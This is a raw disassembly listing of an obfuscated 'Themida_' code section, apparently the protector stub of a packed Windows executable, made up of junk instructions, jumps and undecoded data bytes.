Themida_:00518D76j mov [esp], eax push edx push ebp jmp loc_517D9B ; --------------------------------------------------------------------------- db 35h dd 6CD95A70h, 357E9h db 0 ; --------------------------------------------------------------------------- loc_515201: ; CODE XREF: Themida_:005187B0j add ebp, 3F141F82h pop edi jmp loc_51EC5E ; --------------------------------------------------------------------------- db 5Fh, 89h, 0C7h dd 8124048Bh, 4C4h, 18BA5200h, 0E96D3C47h, 157Ch ; --------------------------------------------------------------------------- loc_515224: ; CODE XREF: Themida_:00510169j pop edi add esp, 4 pop dword ptr [edi+20h] push eax mov eax, 20h add eax, edi xor dword ptr [eax], 6387244Ch pop eax jmp loc_520A1C ; --------------------------------------------------------------------------- db 83h dd 2C8904ECh, 4BD24h, 0EA810000h, 2D294CB1h, 0C281EA01h dd 2D294CB1h, 6D74E9h, 243C8B00h, 0FFAA64E9h db 0FFh ; --------------------------------------------------------------------------- loc_515265: ; CODE XREF: Themida_:00518D20j add ecx, 1 add ecx, 364DAEFFh sub ebp, ecx pop ecx jmp loc_510A57 ; --------------------------------------------------------------------------- loc_515276: ; CODE XREF: Themida_:00511E5Fj pop dword ptr [edi+eax*4] jmp loc_50F70C ; --------------------------------------------------------------------------- dw 8B66h dd 0EA68240Ch, 0E9000016h, 44C6h, 46E168h, 24048900h, 3E3168h dd 243C8900h, 0FAE9E789h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5152A3: ; CODE XREF: Themida_:00517E03j pop edi jmp loc_516C3E ; --------------------------------------------------------------------------- loc_5152A9: ; CODE XREF: Themida_:0051B932j push edi push esi mov esi, 4 mov edi, esi pop esi push ebx mov ebx, 28EF5375h add esi, ebx pop ebx jmp loc_513ED9 ; --------------------------------------------------------------------------- loc_5152C1: ; CODE XREF: Themida_:00520A30j push 574Dh jmp loc_51B8A5 ; --------------------------------------------------------------------------- db 87h dd 835C243Ch, 2C8904ECh, 505D5424h, 2ED368h, 242C8900h dd 594AC668h, 0C5815D01h, 7754F0AFh, 485DE889h, 984E810Dh dd 8E91E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5152FA: ; CODE XREF: Themida_:00518B0Fj sub ecx, 5C5A01D4h jmp loc_51EEC8 ; --------------------------------------------------------------------------- dd offset dword_450050+4018h align 2 dw 3489h dd 10A4BE24h, 0EEC125A2h, 75BA5203h, 0D139490Ch, 0E94242EAh dd 8095h ; --------------------------------------------------------------------------- loc_515324: ; CODE XREF: Themida_:00510B7Aj sub ecx, 0D8B5340h add ecx, eax add [ecx], edx pop ecx pop eax mov edx, [esp] add esp, 4 jmp loc_51F812 ; --------------------------------------------------------------------------- dw 0C9E9h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515343: ; CODE XREF: Themida_:00510BA6j pop ebx xor esi, [esp] xor [esp], esi jmp loc_515438 ; --------------------------------------------------------------------------- db 0C1h dd 0BF5707E5h, 59601F4Ah, 7DE9FD29h, 0B80000B1h, 6092C29h dd 0F1E8705h, 0C148482Dh, 0F22506E0h, 3539D375h, 0A59494Dh dd 0C1D0F748h, 0D0F704E8h, 0A4B6882Dh, 6FD4E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51538A: ; CODE XREF: Themida_:0051CDC3j push esi mov esi, esp jmp loc_5231B3 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h, 12947212h dd 3CC4E9h, 27F66800h, 0BE96BEFh db 0D5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5153BB: ; CODE XREF: Themida_:0051EF89j mov ebx, [esp] add esp, 4 or eax, eax jz loc_51F813 sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ebx push 7F2C606Bh pop ebx and ebx, 4DFA3305h push ebp mov ebp, 4D28201Dh xor ebx, ebp pop ebp mov eax, ebx mov ebx, [esp] push ebx push 6E0Ch mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 push eax push edx jmp loc_5213E2 ; --------------------------------------------------------------------------- loc_515410: ; CODE XREF: Themida_:00523EF8j push dword ptr [esp] jmp loc_523C9F ; --------------------------------------------------------------------------- aCHT db 'Áæ',8,'h·t',0 align 10h dd 56240C89h, 6E64B9BEh, 0E9464E09h, 7A54h, 0E97EC380h dd 8AB8h ; --------------------------------------------------------------------------- loc_515438: ; CODE XREF: Themida_:0051534Aj xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, 58584170h add esi, 0FFFFFFFFh push ecx jmp loc_518622 ; --------------------------------------------------------------------------- db 31h, 0F0h, 0E9h dd 0FFFFF458h, 25F42D58h, 0DFE96322h, 8900000Ch, 4C381E3h dd 83000000h, 1C8704EBh, 34895C24h, 6E0E924h, 89560000h dd 4C681E6h, 83000000h, 93E904EEh db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51548F: ; CODE XREF: Themida_:00512A6Bj add ebp, 4 xchg ebp, [esp] pop esp xor ecx, 44881649h jmp loc_516705 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aSiusfu db '$S‰ãéfž',0 db 0 ; --------------------------------------------------------------------------- loc_5154AD: ; CODE XREF: Themida_:0051D7ACj dec eax jmp loc_517695 ; --------------------------------------------------------------------------- db 58h dd 0A150C181h, 0CE01B358h, 0DC45E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5154C2: ; CODE XREF: Themida_:0051B0B9j add esp, 4 push dx push ecx mov ch, 4Bh not ch add ch, 1Bh shl ch, 3 sub ch, 0C5h mov dl, ch pop ecx add dl, 0BEh push ecx mov ch, 6Dh inc ch push eax mov al, 91h neg al shl al, 3 jmp loc_511509 ; --------------------------------------------------------------------------- aLse db ',‹éE+',0 align 4 dd 0AA9CEE81h, 0B8E9F5A2h, 89000080h, 0DF8959CBh, 0F42CE9h dd 0B8BB5300h, 81527953h, 1869D0CBh, 4BDBF777h, 0EB46C381h dd 0E6E9A43Dh, 83000021h, 1C8904ECh, 81E38924h, 4C3h, 4C38100h dd 87000000h, 248B241Ch, 2E98324h, 31240C33h, 0B2E9240Ch dd 81FFFFE4h, 930007F3h, 0E9D88944h, 0A66h, 5203E0C1h dd 1C8045BAh, 5AD031D0h, 0A178E9h, 81DAF700h, 0AC6A7BCAh dd 0AFC2810Fh, 8968BC08h, 7FB0E9D5h, 89530000h, 4C381E3h dd 55000000h, 0FFD1FDE9h, 0C895CFFh, 1DD96824h, 49593438h dd 0FFD25FE9h, 4C581FFh, 81000000h, 4EDh, 0AC28E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5155AE: ; CODE XREF: Themida_:00510349j mov ebp, 46FF362Dh mov ecx, 46FF3629h jmp loc_510DC3 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 53000000h, 42474FFh, 24048F5Bh, 0C8B5A5Ch, 4C48124h dd 0E9000000h, 0CD7Ah, 2414335Dh, 33241431h, 248B2414h dd 24D36624h, 19E99C24h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5155F3: ; CODE XREF: Themida_:0051059Fj mov esi, 659E077Dh add esi, 14653486h add esi, 477F4EC4h xor esi, 9117C6D5h xor eax, esi pop esi jmp loc_51930F ; --------------------------------------------------------------------------- dw 0C181h dd 4, 8704C183h, 525C240Ch, 0BAh, 50C20100h, 0B8h, 1D00100h dd 585A5808h, 1B00E95Bh, 24890000h, 24048324h, 2434FF04h dd 35C2E95Fh, 0EC830000h, 0DD09E904h, 34FFFFFFh, 0EC815A24h dd 4, 0E7B5E9h, 4BF00h, 0B1E90000h, 8900006Dh, 480E9D8h dd 1C8B0000h, 3CE0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51567A: ; CODE XREF: Themida_:005244C4j pop ecx mov edx, esi pop esi add edx, 4AE82151h add edx, edi push edi mov edi, 0B064E55h add edi, 2DA96415h inc edi push edi not dword ptr [esp] pop edi xor edi, 3DC3438Eh jmp loc_519C99 ; --------------------------------------------------------------------------- db 55h dd 268h, 242C8B00h, 104C483h, 2434FFE8h, 0E289525Dh, 4C281h dd 0C2830000h, 24148704h, 3324248Bh, 4312404h, 24043324h dd 0FFCAB9E9h, 0D8E95CFFh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5156DB: ; CODE XREF: Themida_:00511980j sub eax, edi pop edi add eax, esi add eax, 86E089Ch pop esi push 130Ah mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_51996F ; --------------------------------------------------------------------------- loc_5156FB: ; CODE XREF: Themida_:0051AA0Aj mov [esp], ebx push 5309h jmp loc_518333 ; --------------------------------------------------------------------------- dd 0D2E18141h, 0C10E7A4Bh, 7FE905E9h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515717: ; CODE XREF: Themida_:00520971j pop ebp add ebp, 1B3D2C90h add ebp, eax sub ebp, 1B3D2C90h pop eax sub ebp, 4 push ebp jmp loc_524563 ; --------------------------------------------------------------------------- dd 555BD901h, 2761C4BDh, 8BE901C5h, 0C481242Ch, 4, 0C8BC801h dd 4C48124h, 87000000h, 248B2404h, 2424D324h, 9FAEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51575E: ; CODE XREF: Themida_:00517FA3j shr ecx, 3 shl ecx, 7 sub ecx, 208C641Ah jmp loc_51FD4B ; --------------------------------------------------------------------------- loc_51576F: ; CODE XREF: Themida_:0051939Dj push 71F4h mov [esp], ecx push edi jmp loc_5141B1 ; --------------------------------------------------------------------------- db 5Bh, 2Dh, 4Bh dd 89787E39h, 24048BC3h, 4C481h, 0DF010000h, 4EF815Bh dd 87000000h, 38E9243Ch, 0FF000044h, 815F2434h, 4C4h, 19E95500h dd 0FF000076h, 589D1C77h, 9C240411h, 0FF9F4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5157BD: ; CODE XREF: Themida_:00524BF8j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 jmp loc_519670 ; --------------------------------------------------------------------------- db 51h dd 42474FFh, 0F2E9E9h, 88525300h, 5AD788C2h, 7965E9h, 5E545600h dd 4C681h, 0C6830000h, 0CA64E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515806: ; CODE XREF: Themida_:00518B2Cj mov esp, [esp] jmp loc_516F66 ; --------------------------------------------------------------------------- aISap db 'ˆêéA',0 db 0 ; --------------------------------------------------------------------------- loc_515815: ; CODE XREF: Themida_:0050FB58j shl edx, 2 not edx not edx xor edx, 7275FAABh sub esi, edx pop edx pop ebx shr esi, 4 push ebx jmp loc_51BBD5 ; --------------------------------------------------------------------------- db 83h dd 3C8704EFh, 14895C24h, 384DBA24h, 73E94BDDh, 89000054h dd 5A542414h, 2BFBE9h, 24048700h, 5A54525Ch, 4C281h, 44E90000h dd 21000019h, 0E95B1C5Fh, 0FFFF9EA4h, 66D830ACh, 0E92E6468h dd 0FFFFBE2Ch, 3742E581h, 0D5F72F3Eh, 0E947FD87h, 3C60h dd 0E9243487h, 0EDCDh, 0E9240489h, 6C74h ; --------------------------------------------------------------------------- loc_515894: ; CODE XREF: Themida_:00517AC0j mov ebx, esi pop esi jmp loc_519365 ; --------------------------------------------------------------------------- loc_51589C: ; CODE XREF: Themida_:005239AFj mov [esp], esi mov esi, 573F4823h or esi, 1D191721h not esi neg esi jmp loc_516873 ; --------------------------------------------------------------------------- loc_5158B3: ; CODE XREF: Themida_:00520679j push ecx mov ecx, esp jmp loc_511D16 ; --------------------------------------------------------------------------- db 83h dd 896604C4h, 81665FF9h, 6660C3E1h, 0BA8E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5158CE: ; CODE XREF: Themida_:00521744j push dword ptr [esp] mov edx, [esp] add esp, 4 push 3DD4h mov [esp], eax mov eax, esp push edx mov edx, 40DE0875h shl edx, 1 jmp loc_524391 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 244560EAh, 5AD12957h, 0C8BCD29h, 4C48324h, 8B242C87h dd 0C892424h, 9DFAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515912: ; CODE XREF: Themida_:00524A72j pop ecx mov bl, 80h jmp loc_51A760 ; --------------------------------------------------------------------------- dw 0D7F6h dd 28ACC780h, 0E52C5BFDh, 0E504E800h, 0E9240C8Bh, 0FFFFAB6Ah dd 0E588DC88h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_510F5D ; --------------------------------------------------------------------------- loc_51593F: ; CODE XREF: Themida_:00520F61j mov ebx, 14684088h add ecx, ebx pop ebx add ecx, 22F829B0h jmp loc_511BD8 ; --------------------------------------------------------------------------- loc_515952: ; CODE XREF: Themida_:0051CAEAj push edi mov edi, 12C118Dh add edi, 0FFFFFFFFh push edx mov edx, 456F2C93h xor edi, edx mov edx, [esp] push ecx jmp loc_51828F ; --------------------------------------------------------------------------- loc_51596C: ; CODE XREF: Themida_:00517FABj pop eax add esp, 4 push 71C9h jmp loc_513C88 ; --------------------------------------------------------------------------- loc_51597D: ; CODE XREF: Themida_:0051B5ADj add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 jmp loc_5229DF ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 4088h ; --------------------------------------------------------------------------- loc_5159A0: ; CODE XREF: Themida_:00514434j mov ecx, [esp] add esp, 4 push ebx mov ebx, 761351F5h xor ebx, 2D1A0A9Fh shr ebx, 2 sub ebx, 16C256D6h add ecx, ebx jmp loc_519FAE ; --------------------------------------------------------------------------- loc_5159C5: ; CODE XREF: Themida_:005140A8j push ax mov ah, 7Fh jmp loc_523E87 ; --------------------------------------------------------------------------- dw 0D3F7h dd 5602E3C1h, 7A26E7BEh, 5EF3018Bh, 0CC18E9h, 82C18100h dd 1CAECE6h, 681FE9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5159EE: ; CODE XREF: Themida_:0051B742j pop edi push ebx push 4 jmp loc_5171BE ; --------------------------------------------------------------------------- dw 0C7BBh dd 294F5C61h, 5B0C245Ch, 6E29E9h, 2434FF00h, 1854E9h, 0F2895900h dd 3EAC15Eh, 1EA81h, 814A0000h, 0C54D20F2h, 4EEA8119h dd 29C00C70h, 7877E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515A32: ; CODE XREF: Themida_:0051FA64j mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_511A32 ; --------------------------------------------------------------------------- dd 0EE81FE01h, 15045685h, 695E9h, 24043300h, 396BE9h, 24148B00h dd 4C481h, 0DAE90000h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515A6B: ; CODE XREF: Themida_:00512820j xor edx, [esp] pop esp jmp loc_5220A1 ; --------------------------------------------------------------------------- dd 3DEE68h, 24148900h, 33242C31h, 2C31242Ch, 9B17E924h dd 83560000h, 148904ECh, 4EC8124h, 89000000h, 0CFBE2434h dd 687C9D2Fh, 0EC122E05h, 8324148Bh, 0C28104C4h, 532C62CEh dd 0EA81F201h, 532C62CEh, 735EE9h, 4C48100h, 33000000h dd 1C31241Ch, 241C3324h, 0FFD3F4E9h, 2474FFFFh, 2434FF04h dd 582434FFh, 0E95D5455h, 0DB29h, 218BF381h, 0D9013061h dd 0D74BE95Bh, 0FF5B0000h, 815D2434h, 4C4h, 44295900h dd 6E90424h, 88000058h, 876C88FDh, 240C8B01h, 1840E9h dd 7A030500h, 0E82923DCh, 0DC7A032Dh, 3C8B5D23h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5164A6 ; --------------------------------------------------------------------------- dd 6685F66h, 8900004Fh, 0E9502414h, 0CF0Ah, 33243C31h dd 248B243Ch, 2404FF24h, 9BAEE99Ch, 0BF57FFFFh, 20A75289h dd 0C4F8E9h, 240C8B00h, 4C481h, 34FF0000h, 54515824h, 4C18159h dd 52000000h, 4BAh, 5AD10100h, 5C240C87h, 2C381h, 1C330000h dd 4F69E924h, 0C330000h, 0B3F8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515BA2: ; CODE XREF: Themida_:0051A0F7j mov dh, 52h and dh, 5 inc dh jmp loc_511AB4 ; --------------------------------------------------------------------------- dw 0C281h dd 108B1434h, 0E95AD131h, 17B8h, 240C8B66h, 140A68h, 241C8900h dd 0FFC566E9h db 0FFh ; --------------------------------------------------------------------------- loc_515BCD: ; CODE XREF: Themida_:00515D24j xchg edi, [esp] pop esp movzx ecx, ax push 260Dh mov [esp], ecx jmp loc_50F70C ; --------------------------------------------------------------------------- loc_515BE1: ; CODE XREF: Themida_:00510FEBj add ebx, 4FBD7C24h and ebx, 70703B52h add ebx, 48AC562Fh jmp loc_51ADBA ; --------------------------------------------------------------------------- dd 4BAh, 24540100h, 34FF5A04h, 241C8B24h, 4C481h, 0EC810000h dd 4, 0E9242C89h, 5CD5h, 8324048Bh, 0B60F04C4h, 8734FFC0h dd 0FF9ADFE9h db 0FFh ; --------------------------------------------------------------------------- loc_515C2D: ; CODE XREF: Themida_:0050F764j mov esp, [esp] jmp loc_51B8AD ; --------------------------------------------------------------------------- loc_515C35: ; CODE XREF: Themida_:00516941j mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_51934E ; --------------------------------------------------------------------------- loc_515C48: ; CODE XREF: Themida_:00521622j xor edx, 40E84AE1h jmp loc_52045E ; --------------------------------------------------------------------------- loc_515C53: ; CODE XREF: Themida_:0052494Aj sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx mov ebx, 3AD93C55h not ebx shr ebx, 2 neg ebx neg ebx jmp loc_517CC0 ; --------------------------------------------------------------------------- dd 77414A05h, 1D0FE969h, 0E95B0000h, 0FFFF9A8Ch, 48BC729h dd 4C48124h, 0E9000000h, 426Ah, 8904EC83h, 7AE92404h, 2D0000C2h dd 63975C11h, 0A11FE9h, 30C76800h, 34890000h, 4BE24h, 0DE90000h dd 2D000034h, 0C424A4DDh, 0A94BE9h db 0 ; --------------------------------------------------------------------------- loc_515CC1: ; CODE XREF: Themida_:00520CD0j mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_51405A ; --------------------------------------------------------------------------- loc_515CD1: ; CODE XREF: Themida_:005236ABj mov ebp, [esp] add esp, 4 push edi jmp loc_51DBE9 ; --------------------------------------------------------------------------- dd 582CE828h, 0D8285966h, 0EC833404h, 14896602h, 0EC835024h dd 24148904h, 0B7E9BCB6h, 0C4h, 0ADE980D1h, 6CC1805Ah dd 0E980F928h, 0EF59E96Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_515D12: ; CODE XREF: Themida_:0051EC8Ej mov eax, [esp] jmp loc_515E72 ; --------------------------------------------------------------------------- loc_515D1A: ; CODE XREF: Themida_:00520A6Dj add ecx, 4 xchg ecx, [esp] pop esp jmp loc_515BCD ; --------------------------------------------------------------------------- db 66h, 68h, 3Ch dd 0C896625h, 0E5B45024h, 0C6EDE9h, 4BD00h, 0EF010000h dd 243C875Dh, 6E7E95Ch, 4AC0000h, 52D800FCh, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 62E92434h, 1FFFFBDh, 0AED81D5h dd 5A7AA228h, 0E906EDC1h, 0FFFFE4AEh, 405E089h, 2D000000h dd 4, 5C240487h, 0E9243C89h, 3FA5h, 0C781E789h, 4, 4BA52h dd 0FAE90000h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515DA3: ; CODE XREF: Themida_:0051B5D9j sub ecx, ebx mov ebx, [esp] jmp loc_51685D ; --------------------------------------------------------------------------- loc_515DAD: ; CODE XREF: Themida_:005100D8j mov [esp], edi push 33EDh mov [esp], esp jmp loc_51BC29 ; --------------------------------------------------------------------------- db 29h, 0E8h, 8Bh dd 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h, 4875C24h dd 24248B24h, 0DF3E9h, 241C8900h, 3115E951h, 0BE560000h dd 388320E6h, 0EEC1EED1h, 791E907h, 0E95B0000h, 0FFFFFFEAh dd 5604C483h, 7BADE9h, 240C8900h, 26E955h, 2DAD0000h, 6FEB120Ch dd 5D6CB951h, 0C82967EDh, 0FF2434FFh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5142CE ; --------------------------------------------------------------------------- dd 554D85BDh, 81DDF77Bh, 660E51C5h, 0CEED8147h, 8971EE86h dd 81BE9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515E4E: ; CODE XREF: Themida_:0051E689j and edi, 0B967193h add edi, 76FC1F58h sub ebx, edi jmp loc_518BF1 ; --------------------------------------------------------------------------- loc_515E61: ; CODE XREF: Themida_:0051764Dj xchg eax, [esp] pop esp push dword ptr [esp] pop eax push eax mov eax, esp push edi jmp loc_520DFF ; --------------------------------------------------------------------------- loc_515E72: ; CODE XREF: Themida_:00515D15j add esp, 4 jmp loc_5194FA ; --------------------------------------------------------------------------- dw 69B4h dd 0FFACEAE9h, 4C581FFh, 0E9000000h, 345Fh, 6624248Bh dd 66241489h, 71E99C50h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515E9B: ; CODE XREF: Themida_:0051945Fj push ebx mov ebx, 7F751BDAh inc ebx push 6510h mov [esp], ebx jmp loc_516A1F ; --------------------------------------------------------------------------- loc_515EAF: ; CODE XREF: Themida_:0051F0C1j mov ebx, ecx jmp loc_5228F5 ; --------------------------------------------------------------------------- dw 34FFh aXsui db '$X铉',0 dw 100h dd 0F9015AD1h, 3053BD55h, 0B2E9063Eh, 870000C7h, 805C241Ch dd 0C3802DC3h, 66C32870h, 0D600E950h, 4050000h, 83000000h dd 0FF5004C0h, 0FF042474h, 9E92434h, 8F0000C7h, 248B2404h dd 0A30F6624h, 0E99C2404h, 0FFFF9804h, 6602EC83h, 0B7241C89h dd 66FE2858h, 0FEC6FE5Bh, 0A1B450CEh, 0E9D5EE80h, 2954h dd 5366BA24h, 0D80053B3h, 7106E9h, 0EC835C00h, 5DE3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515F3A: ; CODE XREF: Themida_:0051DB18j mov [esp], eax jmp loc_5196C8 ; --------------------------------------------------------------------------- loc_515F42: ; CODE XREF: Themida_:005240DCj mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_51214C ; --------------------------------------------------------------------------- loc_515F53: ; CODE XREF: Themida_:00514806j mov ebp, esp jmp loc_5247C2 ; --------------------------------------------------------------------------- dw 2C89h dd 81E58924h, 4C5h, 7D6D6800h, 4890000h, 2B824h, 0C5290000h dd 242C3358h, 9FA7E9h, 5EF53100h, 415DE909h, 11684941h dd 89000046h, 0E4E9243Ch, 890000EAh, 0DF37E9E0h, 0E95E0000h dd 0C121h, 9C9BE56h, 5EE935DFh, 8300008Dh, 0C38004C4h dd 80C328CBh, 0EB80CBEBh, 0A6D9E9CBh, 15BFFFFh, 0BA525AD0h dd 5E1367C3h, 144AE9h, 4EC8300h, 0BB241C89h, 6575E99h dd 3149F381h, 0C38173FFh, 2FDC6D41h, 47AAE381h, 0E3D10F55h dd 0B63FE9h, 0EE814600h, 173B30E6h, 240CFF56h, 6EF6815Eh dd 0E94264F4h, 7ABh, 4C181h, 0E9530000h, 0A844h ; --------------------------------------------------------------------------- loc_516014: ; CODE XREF: Themida_:0051B104j mov [esp], esi not dword ptr [esp] pop esi xor [esp], esi xor esi, [esp] xor [esp], esi push dword ptr [esp] jmp loc_50F944 ; --------------------------------------------------------------------------- dd 6F5D5BBFh, 7EFC135h, 214AC781h, 37E9FF95h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51603F: ; CODE XREF: Themida_:00514DD7j neg edx jmp loc_51D024 ; --------------------------------------------------------------------------- dw 0B60Fh dd 4EC83C0h, 83240C89h, 348904ECh, 81E68924h, 4C6h, 4EE8300h dd 5C243487h, 0FFA130E9h db 0FFh ; --------------------------------------------------------------------------- loc_516069: ; CODE XREF: Themida_:005240BDj push ebx mov ebx, 120C19D9h dec ebx xor ebx, 19ED217Eh dec ebx and ebx, 6CEF7F82h add ebx, 7EC057F5h sub ebx, 2C11169Dh jmp loc_51D4DD ; --------------------------------------------------------------------------- dw 489h dd 5E08924h, 4, 0DFB85053h, 0BB7C1955h, 7C1955E1h, 0C3E9C329h dd 660000A2h, 0E924048Bh, 9E78h ; --------------------------------------------------------------------------- loc_5160B4: ; CODE XREF: Themida_:00519CCFj mov ebp, esp push esi mov esi, 603E54D4h sub esi, 1E7A14C8h shl esi, 5 add esi, 0C777FE84h add ebp, esi pop esi jmp loc_51004F ; --------------------------------------------------------------------------- loc_5160D3: ; CODE XREF: Themida_:00516F4Cj pop eax add ebx, 0F0DE8679h jmp loc_51A49E ; --------------------------------------------------------------------------- loc_5160DF: ; CODE XREF: Themida_:00519FDCj xor dword ptr [ecx], 45400131h jmp loc_51630E ; --------------------------------------------------------------------------- dw 525Fh dd 0FFAB15E9h, 242C33FFh, 6624248Bh, 0B7241C89h, 66FA3068h dd 50241C8Bh, 0BA525854h, 4, 4E9D001h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516113: ; CODE XREF: Themida_:0051FA05j push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_51C4A4 ; --------------------------------------------------------------------------- loc_516120: ; CODE XREF: Themida_:005145BCj shl ebp, 6 dec ebp push esi jmp loc_51303B ; --------------------------------------------------------------------------- dw 248Bh dd 4C28124h, 55000000h, 3FACE9h db 0 ; --------------------------------------------------------------------------- loc_516139: ; CODE XREF: Themida_:00520EFCj mov edi, esi pop esi and eax, edi push dword ptr [esp] jmp loc_5218D3 ; --------------------------------------------------------------------------- dw 8957h dd 5FFB89C7h, 14E95958h, 5C000001h, 0FF971BE9h, 1C77FFFFh dd 0D259669Dh, 0E99C2414h, 0FFFF95A4h, 0BD242C89h, 4, 875DE929h dd 895C240Ch, 4BF243Ch, 81000000h, 0A24664C1h, 81F90123h dd 0A24664E9h, 0C875F23h, 8FE95C24h db 0B2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516197: ; CODE XREF: Themida_:0051CE7Fj pop edx jmp loc_514DB5 ; --------------------------------------------------------------------------- db 89h, 4, 24h aSf5 db '´Èé”5',0 db 0 ; --------------------------------------------------------------------------- loc_5161A7: ; CODE XREF: Themida_:0052199Dj sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 sub eax, 4 jmp loc_51C713 ; --------------------------------------------------------------------------- dw 1C89h aIusiq db '$‰ãé‰Q',0 align 4 dd 0FF240489h, 58042474h, 8B24048Fh, 5DE92424h, 0ACFFFFD1h dd 8713E956h, 0C6FE0000h, 0CEFECEFEh, 0D1B151h, 885059CEh dd 0C58851F0h, 5859EF88h, 0E806E95Ah, 0B02C0000h, 6304492Ch dd 8072B551h, 0F5805CCDh, 59E800E1h, 24148B66h, 6802C483h dd 1985h, 0B2241489h, 0C0C2FEABh, 0B6E907E2h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51622B: ; CODE XREF: Themida_:005151D7j push ebp jmp loc_51B98F ; --------------------------------------------------------------------------- loc_516231: ; CODE XREF: Themida_:00519A51j pop ecx push ebp mov ebp, 60C410A9h add ebx, ebp jmp loc_51D20C ; --------------------------------------------------------------------------- db 81h dd 0CB042444h, 59331334h, 40558h, 38E90000h, 5C000027h dd 4EC81h, 14890000h, 8077B224h, 98E9ADC1h, 81FFFFFAh dd 4E4380EBh, 708AE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516272: ; CODE XREF: Themida_:0051C75Ej push eax mov eax, 46613312h push esi push ecx mov ecx, 543775Bh jmp loc_524767 ; --------------------------------------------------------------------------- loc_516284: ; CODE XREF: Themida_:005236CEj mov ebp, esp push ebx mov ebx, 13422630h add ebx, 1DBC66F2h jmp loc_5191CA ; --------------------------------------------------------------------------- db 31h dd 4332404h, 24248B24h, 0FF2434FFh, 34FF2434h, 0C91EE924h dd 0C281FFFFh, 36787EEEh, 0A22DC281h, 0ED817EA0h, 9284CD2h dd 0C581D501h, 9284CD2h, 0D8C3815Ah, 0E90F8F67h, 1E1Eh dd 661BE95Dh, 74FF0000h, 24E90424h, 81000032h, 4ECh, 24048900h dd 0E328C4B4h, 80C30058h, 0EC81C4C3h, 4, 0E9240C89h, 0FFFFD067h dd 2474FF52h, 0E1DBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51630E: ; CODE XREF: Themida_:005160E5j pop ecx jmp loc_523E4C ; --------------------------------------------------------------------------- loc_516314: ; CODE XREF: Themida_:00522E6Aj pop esp push edi mov edi, esp push ebp mov ebp, 4 jmp loc_52214D ; --------------------------------------------------------------------------- aZsa db 'ZéA"',0 db 0 ; --------------------------------------------------------------------------- loc_516329: ; CODE XREF: Themida_:0052470Bj add esp, 4 push eax mov ah, 0E2h sub ah, 9Fh sub cl, ah pop eax shl cl, 4 and cl, 0C5h sub cl, 19h sub bh, 0C5h add bh, cl add bh, 0C5h pop ecx jmp loc_524F19 ; --------------------------------------------------------------------------- dd 81D2F759h, 0C800F8F2h, 348B5220h, 4C48324h, 1C77095Ah dd 8B2434FFh, 0C4812434h, 4, 4C481h, 8E680000h, 8900002Dh dd 0F268241Ch, 0E9000050h, 0FFFFBCD6h, 190A68h, 242C8900h dd 404668h, 0EBF1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516396: ; CODE XREF: Themida_:00514E99j pop esp push 18DEh jmp loc_5213EC ; --------------------------------------------------------------------------- loc_5163A1: ; CODE XREF: Themida_:0051ABC2j add eax, 4 xchg eax, [esp] pop esp sub ebx, esi pop esi jmp loc_51B8F9 ; --------------------------------------------------------------------------- 